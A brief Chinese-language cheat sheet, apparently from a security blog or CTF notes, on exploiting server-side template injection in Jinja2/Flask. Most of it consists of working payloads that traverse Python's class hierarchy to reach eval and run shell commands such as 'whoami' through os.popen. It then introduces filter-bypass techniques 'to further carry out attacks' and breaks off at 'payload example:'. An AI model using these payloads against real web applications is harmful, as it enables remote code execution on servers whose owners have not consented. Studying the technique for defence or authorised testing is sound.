获取eval函数执行

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("whoami").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

或者三步走

{{%27%27.__class__.__base__.__subclasses__()}}
然后https://www.huatools.com/comma-split/从这里面找到os._wrap_close

{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
对应数组直接打

绕过

在实际操作的过程中,经常会发现某些函数或者符号被过滤了,这个时候就需要一些绕过的技巧,这有助于我们进一步的开展攻击

payload example: